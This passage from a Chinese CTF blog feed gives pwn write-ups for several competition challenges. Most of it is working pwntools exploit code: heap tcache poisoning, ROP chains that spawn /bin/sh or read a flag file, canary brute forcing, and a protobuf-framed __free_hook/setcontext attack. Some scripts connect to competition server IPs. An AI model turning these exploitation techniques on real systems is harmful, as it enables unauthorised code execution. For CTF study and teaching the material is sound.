class="built_in">str</span>(size).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">edit</span>(<span class="params">index, content</span>):</span><br><span class="line">    menu(<span class="number">2</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;index?&#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(index).encode())</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;content?&#x27;</span>)</span><br><span class="line">    io.send(content)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">show</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">3</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;index?&#x27;</span>)</span><br><span class="line">    io.send(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">index</span>):</span><br><span class="line">    menu(<span class="number">4</span>)</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;index?&#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(index).encode())</span><br><span class="line"></span><br><span class="line"><span class="comment">#可add 5个堆块，free 3次</span></span><br><span class="line">add(<span class="number">0x200</span>)       <span class="comment">#0</span></span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">show(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;content: &#x27;</span>)</span><br><span class="line">heapbase = (u64(io.recv(<span class="number">5</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0x11</span>)&lt;&lt;<span class="number">12</span></span><br><span class="line">log.success(<span class="string">&#x27;heapbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(heapbase))</span><br><span class="line"></span><br><span class="line">edit(<span class="number">0</span>, p64(<span class="number">0</span>)*<span class="number">2</span>)   <span class="comment">#清除key域</span></span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">pos = heapbase+<span class="number">0x11000</span></span><br><span class="line">edit(<span class="number">0</span>, p64((heapbase+<span class="number">0x10</span>)^(pos&gt;&gt;<span class="number">12</span>)))   <span class="comment">#修改fd域为tcache结构体</span></span><br><span class="line"></span><br><span class="line">add(<span class="number">0x200</span>)       <span class="comment">#1</span></span><br><span class="line">add(<span class="number">0x200</span>)       <span class="comment">#2      控制tcache结构体</span></span><br><span class="line"></span><br><span class="line">edit(<span class="number">2</span>, p16(<span class="number">0</span>)*<span class="number">0x1f</span>+p16(<span class="number">7</span>)*<span class="number">9</span>)</span><br><span class="line">delete(<span class="number">2</span>)        <span class="comment">#泄露libc</span></span><br><span class="line">delete(<span class="number">2</span>)</span><br><span class="line">edit(<span class="number">2</span>, <span class="string">b&#x27;\x01&#x27;</span>)</span><br><span class="line">show(<span class="number">2</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;content: &#x27;</span>)</span><br><span class="line">libcbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0x1e0c01</span></span><br><span class="line">log.success(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line"></span><br><span class="line"><span class="comment">#后续利用_environ泄露栈地址，直接在栈上ROP即可</span></span><br><span class="line">environ = libcbase+libc.symbols[<span class="string">&#x27;_environ&#x27;</span>]</span><br><span class="line">edit(<span class="number">2</span>, p16(<span class="number">7</span>)*<span class="number">0x40</span>+p64(<span class="number">0</span>)*<span class="number">0x1f</span>+p64(environ))       <span class="comment">#修改0x210处指针为目标位置</span></span><br><span class="line">add(<span class="number">0x200</span>)      <span class="comment">#3</span></span><br><span class="line">show(<span class="number">3</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;content: &#x27;</span>)</span><br><span class="line">stack = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0x150</span></span><br><span class="line">log.success(<span class="string">&#x27;stack ===&gt; &#x27;</span>+<span class="built_in">hex</span>(stack))</span><br><span class="line"></span><br><span class="line">pop_rdi = libcbase+<span class="number">0x28a55</span></span><br><span class="line">pop_rsi = libcbase+<span class="number">0x2a4cf</span></span><br><span class="line">pop_rdx = libcbase+<span class="number">0xc7f32</span></span><br><span class="line">open_ = libcbase+libc.symbols[<span class="string">&#x27;open&#x27;</span>]</span><br><span class="line">read_ = libcbase+libc.symbols[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">puts = libcbase+libc.symbols[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">bss = libcbase+<span class="number">0x1e2000</span></span><br><span class="line"><span class="comment">#修改栈</span></span><br><span class="line">edit(<span class="number">2</span>, p16(<span class="number">7</span>)*<span class="number">0x40</span>+p64(<span class="number">0</span>)*<span class="number">0x1f</span>+p64(stack-<span class="number">0x18</span>))       <span class="comment">#stack-0x18是因为此处未对齐,还有不能影响程序的正常执行(stack-8会产生异常)</span></span><br><span class="line">add(<span class="number">0x200</span>)      <span class="comment">#4</span></span><br><span class="line">rop_chain = p64(<span class="number">0</span>)*<span class="number">3</span>+p64(pop_rdi)+p64(<span class="number">0</span>)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(<span class="number">0x10</span>)+p64(read_)\</span><br><span class="line">           +p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(<span class="number">0</span>)+p64(pop_rdx)+p64(<span class="number">0</span>)+p64(open_)\</span><br><span class="line">           +p64(pop_rdi)+p64(<span class="number">3</span>)+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(<span class="number">0x50</span>)+p64(read_)\</span><br><span class="line">           +p64(pop_rdi)+p64(bss)+p64(puts)</span><br><span class="line">edit(<span class="number">4</span>, rop_chain)</span><br><span class="line">io.recvline()</span><br><span class="line">io.send(<span class="string">b&#x27;./flag&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#DEBUG()</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div>]]>
    </content>
    <id>https://staticccccccc.github.io/2024/05/18/CTFS-wp/%E4%B8%80%E4%BA%9Bpwn%E9%A2%98%E7%9A%84writeup/</id>
    <link href="https://staticccccccc.github.io/2024/05/18/CTFS-wp/%E4%B8%80%E4%BA%9Bpwn%E9%A2%98%E7%9A%84writeup/"/>
    <published>2024-05-18T13:20:00.000Z</published>
    <summary>让你从0变成1</summary>
    <title>《从零开始的pwner生活》</title>
    <updated>2024-05-18T13:20:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Static</name>
    </author>
    <category term="CTFS" scheme="https://staticccccccc.github.io/categories/CTFS/"/>
    <category term="old_article" scheme="https://staticccccccc.github.io/tags/old-article/"/>
    <content>
      <![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>第一次打国赛，题目基本大部分都是见过的类型吧，可是还是再多看一眼就会爆炸，烧烤摊儿和funcanary基本可以秒，还有一道加了点protobuf的堆orw比赛时没出，因为时间不够了，有点慌，打<code>__free_hook</code>的时候链表伪造成了一坨，然后就是扣了所有符号表的静态链接go题（正好被go贼多的函数恶心到了，但是Wings✌直接调出来了，直接膜拜），貌似是我的IDA没装好，装的插件都用不了，赛后换了个IDA使用finger直接可以还原出来一部分函数名。最后盲pwn用侧信道没想到，还有个PDC 0解，根本没看，这两道完全不能理解，爬了。</p><h2 id="0x00-烧烤摊儿"><a href="#0x00-烧烤摊儿" class="headerlink" title="0x00. 烧烤摊儿"></a>0x00. 烧烤摊儿</h2><p>静态链接程序，先整形溢出，然后在改名选项中存在栈溢出，直接ROP getshell</p><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;39.107.137.13&#x27;</span>,<span class="number">20469</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./shaokao&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./shaokao&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">menu</span>(<span class="params">choice</span>):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;&gt; &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(choice).encode())</span><br><span class="line"></span><br><span class="line">syscall = <span class="number">0x402404</span></span><br><span class="line">pop_rdi = <span class="number">0x40264f</span></span><br><span class="line">pop_rsi = <span class="number">0x40a67e</span></span><br><span class="line">pop_rax = <span class="number">0x458827</span></span><br><span class="line">pop_rdx_rbx = <span class="number">0x4a404b</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#整形溢出</span></span><br><span class="line">menu(<span class="number">1</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">io.sendline(<span class="string">b&#x27;-999999999&#x27;</span>)</span><br><span class="line">menu(<span class="number">4</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#栈溢出</span></span><br><span class="line">menu(<span class="number">5</span>)</span><br><span class="line">payload = <span class="string">b&#x27;/bin/sh\x00&#x27;</span>+<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x20</span>+p64(pop_rax)+p64(<span class="number">59</span>)+p64(pop_rdi)+p64(<span class="number">0x4e60f0</span>)+p64(pop_rsi)+p64(<span class="number">0</span>)+p64(pop_rdx_rbx)+p64(<span class="number">0</span>)+p64(<span class="number">0</span>)+p64(syscall)</span><br><span class="line">io.sendline(payload)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="0x01-funcanary"><a href="#0x01-funcanary" class="headerlink" title="0x01. funcanary"></a>0x01. funcanary</h2><p>多线程爆破canary，然后还需要partial overwrite小爆破一手</p><p>打远程太慢了</p><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"><span class="comment">#from Crypto.Util.number import long_to_bytes</span></span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;47.94.206.10&#x27;</span>, <span class="number">24045</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./funcanary&#x27;)</span></span><br><span class="line">elf = ELF(<span class="string">&#x27;./funcanary&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rec</span>():</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;welcome\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">i = <span class="number">0</span></span><br><span class="line">canary = <span class="string">b&#x27;\x00&#x27;</span></span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">8</span>):</span><br><span class="line">    i = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0xff</span>):</span><br><span class="line">        rec()</span><br><span class="line">        io.send(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x68</span>+canary+p8(i))</span><br><span class="line">        msg = io.recvline()</span><br><span class="line">        <span class="keyword">if</span> <span class="string">b&#x27;stack&#x27;</span> <span class="keyword">in</span> msg:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;error&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(j, i, canary)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            canary += p8(i)</span><br><span class="line">            <span class="built_in">print</span>(j, i, canary)</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">i = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0x10</span>):</span><br><span class="line">    rec()</span><br><span class="line">    io.send(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x68</span>+canary+<span class="string">b&#x27;A&#x27;</span>*<span class="number">8</span>+<span class="string">b&#x27;\x31&#x27;</span>+p8(<span class="number">2</span>+<span class="number">0x10</span>*i))</span><br></pre></td></tr></table></figure></div><h2 id="0x02-StrangeTalkBot"><a href="#0x02-StrangeTalkBot" class="headerlink" title="0x02. StrangeTalkBot"></a>0x02. StrangeTalkBot</h2><p>这道题要想和程序交互，必须用它对应的格式，至于格式是啥，这道题把所有判断格式的逻辑一起塞在了一个函数里面了</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">memset</span>(&amp;input, <span class="number">0</span>, <span class="number">0x400u</span>LL);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;You can try to have friendly communication with me now: &quot;</span>);</span><br><span class="line">    input_len = read(<span class="number">0</span>, &amp;input, <span class="number">0x400u</span>LL);</span><br><span class="line">    v4 = (_QWORD *)sub_192D(<span class="number">0LL</span>, input_len, &amp;input);</span><br><span class="line">    <span class="keyword">if</span> ( !v4 )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    sub_155D(v4[<span class="number">3</span>], v4[<span class="number">4</span>], v4[<span class="number">5</span>], v4[<span class="number">6</span>], v4[<span class="number">7</span>]);</span><br><span class="line">  &#125;</span><br><span class="line">  sub_1329(<span class="number">0LL</span>, input_len);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>也就是<code>sub_192D</code>函数中，在<code>sub_155D</code>中是堆菜单</p><p>当时看到<code>&quot;BINARYBF-c/BINARYBF-c.c&quot;</code>时以为还有brainfuck，但是我复制了一部分伪代码给bing看的时候，它说这段代码使用了<code>protobuf</code>，而且Wings也说是用了<code>protobuf</code>，然后就去装库了，装了好长时间，最后网上找了个在线工具可以直接根据格式给出对应序列化后的值，<a class="link"   href="https://yura415.github.io/js-protobuf-encode-decode/" >https://yura415.github.io/js-protobuf-encode-decode/<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a>                例如：</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line"><span class="string">&quot;actionid&quot;</span>: <span class="number">1</span>,</span><br><span class="line"><span class="string">&quot;msgidx&quot;</span>:<span class="number">2</span>,</span><br><span class="line"><span class="string">&quot;msgsize&quot;</span>:<span class="number">3</span>,</span><br><span class="line"><span class="string">&quot;msgcontent&quot;</span>:<span class="string">&quot;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&quot;</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">message Devicemsg</span><br><span class="line">&#123;</span><br><span class="line">    required sint32 actionid;</span><br><span class="line">    required sint32 msgidx;</span><br><span class="line">    required sint32 msgsize;</span><br><span class="line">    required <span class="built_in">string</span> msgcontent;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>然后要做的就是堆orw了，在free时存在UAF，size不能大于0xf0，index不能大于0x20</p><p>可以直接<code>unsorted bin</code>泄露libc，然后<code>tcache poison</code>打<code>__free_hook</code>为一个特殊gadget</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">0x0000000000151990</span> : mov rdx, qword ptr [rdi + <span class="number">8</span>] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + <span class="number">0x20</span>]</span><br></pre></td></tr></table></figure></div><p>在堆块上对应位置构造<code>setcontext+61</code>和ROP链就可以orw了（可以用工具构造，不过我比较习惯调试+手动）</p><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(arch=<span class="string">&#x27;x86_64&#x27;</span>, log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&#x27;./talkbot&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./talkbot&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.31.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">DEBUG</span>():</span><br><span class="line">    attach(io)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rec</span>():</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;You can try to have friendly communication with me now: \n&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#泄露libc</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x02\x10\x00\x18\xe0\x03\x22\x01\x41&#x27;</span>)    <span class="comment">#add(0, 0xf0, b&#x27;A&#x27;)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x02\x10\x02\x18\xe0\x03\x22\x01\x41&#x27;</span>)    <span class="comment">#add(1, 0xf0, b&#x27;A&#x27;)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x02\x10\x04\x18\xe0\x03\x22\x01\x41&#x27;</span>)    <span class="comment">#add(2, 0xf0, b&#x27;A&#x27;)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x02\x10\x06\x18\xe0\x03\x22\x01\x41&#x27;</span>)    <span class="comment">#add(3, 0xf0, b&#x27;A&#x27;)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x02\x10\x08\x18\xe0\x03\x22\x01\x41&#x27;</span>)    <span class="comment">#add(4, 0xf0, b&#x27;A&#x27;)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x02\x10\x0a\x18\xe0\x03\x22\x01\x41&#x27;</span>)    <span class="comment">#add(5, 0xf0, b&#x27;A&#x27;)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x02\x10\x0c\x18\xe0\x03\x22\x01\x41&#x27;</span>)    <span class="comment">#add(6, 0xf0, b&#x27;A&#x27;)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x02\x10\x0e\x18\xe0\x03\x22\x01\x41&#x27;</span>)    <span class="comment">#add(7, 0xf0, b&#x27;A&#x27;)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x02\x10\x10\x18\x20\x22\x01\x41&#x27;</span>)        <span class="comment">#add(8, 16, b&#x27;A&#x27;)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x08\x10\x00\x18\xC0\x02\x22\x01\x41&#x27;</span>)    <span class="comment">#free(0)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x08\x10\x02\x18\xC0\x02\x22\x01\x41&#x27;</span>)    <span class="comment">#free(1)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x08\x10\x04\x18\xC0\x02\x22\x01\x41&#x27;</span>)    <span class="comment">#free(2)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x08\x10\x06\x18\xC0\x02\x22\x01\x41&#x27;</span>)    <span class="comment">#free(3)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x08\x10\x08\x18\xC0\x02\x22\x01\x41&#x27;</span>)    <span class="comment">#free(4)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x08\x10\x0a\x18\xC0\x02\x22\x01\x41&#x27;</span>)    <span class="comment">#free(5)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x08\x10\x0c\x18\xC0\x02\x22\x01\x41&#x27;</span>)    <span class="comment">#free(6)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x08\x10\x0e\x18\xC0\x02\x22\x01\x41&#x27;</span>)    <span class="comment">#free(7)</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x06\x10\x0e\x18\x00\x22\x01\x41&#x27;</span>)        <span class="comment">#show(7)</span></span><br><span class="line"></span><br><span class="line">io.recv(<span class="number">0x70</span>)</span><br><span class="line">libcbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0x1ecbe0</span></span><br><span class="line">log.success(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line">__free_hook = libcbase + libc.symbols[<span class="string">&#x27;__free_hook&#x27;</span>]</span><br><span class="line">setcontext = libcbase + libc.symbols[<span class="string">&#x27;setcontext&#x27;</span>]+<span class="number">61</span></span><br><span class="line"></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x06\x10\x02\x18\x00\x22\x01\x41&#x27;</span>)        <span class="comment">#show(1)</span></span><br><span class="line"></span><br><span class="line">heapbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0x310</span></span><br><span class="line">log.success(<span class="string">&#x27;heapbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(heapbase))</span><br><span class="line">rsp = heapbase+<span class="number">0x760</span></span><br><span class="line"></span><br><span class="line">ret = libcbase+<span class="number">0x23b6b</span></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x04\x10\x04\x18\xe0\x03\x22\xf0\x01&#x27;</span>+(p64(heapbase+<span class="number">0x5f0</span>)+p64(heapbase+<span class="number">0x5f0</span>)+p64(<span class="number">0</span>)*<span class="number">2</span>+p64(setcontext)+p64(<span class="number">0</span>)*<span class="number">15</span>+p64(rsp)+p64(ret)).ljust(<span class="number">0xf0</span>, <span class="string">b&#x27;A&#x27;</span>))   <span class="comment">#edit(2, p64(heapbase+0x5f0)+p64(heapbase+0x5f0)+p64(0)*2+p64(setcontext+61)+p64(0)*15+p64(rsp))     0x5f0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#0x0000000000151990 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]</span></span><br><span class="line">gadget = libcbase+<span class="number">0x151990</span></span><br><span class="line"></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x04\x10\x0a\x18\x10\x22\x10&#x27;</span>+p64(__free_hook)+p64(<span class="number">0</span>)) <span class="comment">#edit(1, __free_hook)</span></span><br><span class="line"></span><br><span class="line">open_ = libcbase+libc.symbols[<span class="string">&#x27;open&#x27;</span>]</span><br><span class="line">read_ = libcbase+libc.symbols[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">puts = libcbase+libc.symbols[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line">pop_rdi = libcbase+<span class="number">0x23b6a</span></span><br><span class="line">pop_rsi = libcbase+<span class="number">0x2601f</span></span><br><span class="line">pop_rdx = libcbase+<span class="number">0x142c92</span></span><br><span class="line">flag = heapbase+<span class="number">0x848</span></span><br><span class="line"><span class="comment">#布置ROP</span></span><br><span class="line">rec()</span><br><span class="line"></span><br><span class="line">io.send(<span class="string">b&#x27;\x08\x04\x10\x06\x18\xe0\x03\x22\xf0\x01&#x27;</span>\</span><br><span class="line">        +p64(pop_rdi)+p64(flag)+p64(pop_rsi)+p64(<span class="number">0</span>)+p64(pop_rdx)+p64(<span class="number">0</span>)+p64(open_)\</span><br><span class="line">        +p64(pop_rdi)+p64(<span class="number">3</span>)+p64(pop_rsi)+p64(flag)+p64(pop_rdx)+p64(<span class="number">0x50</span>)+p64(read_)\</span><br><span class="line">        +p64(pop_rdi)+p64(flag)+p64(puts)+p64(<span class="number">0</span>)*<span class="number">12</span>+<span 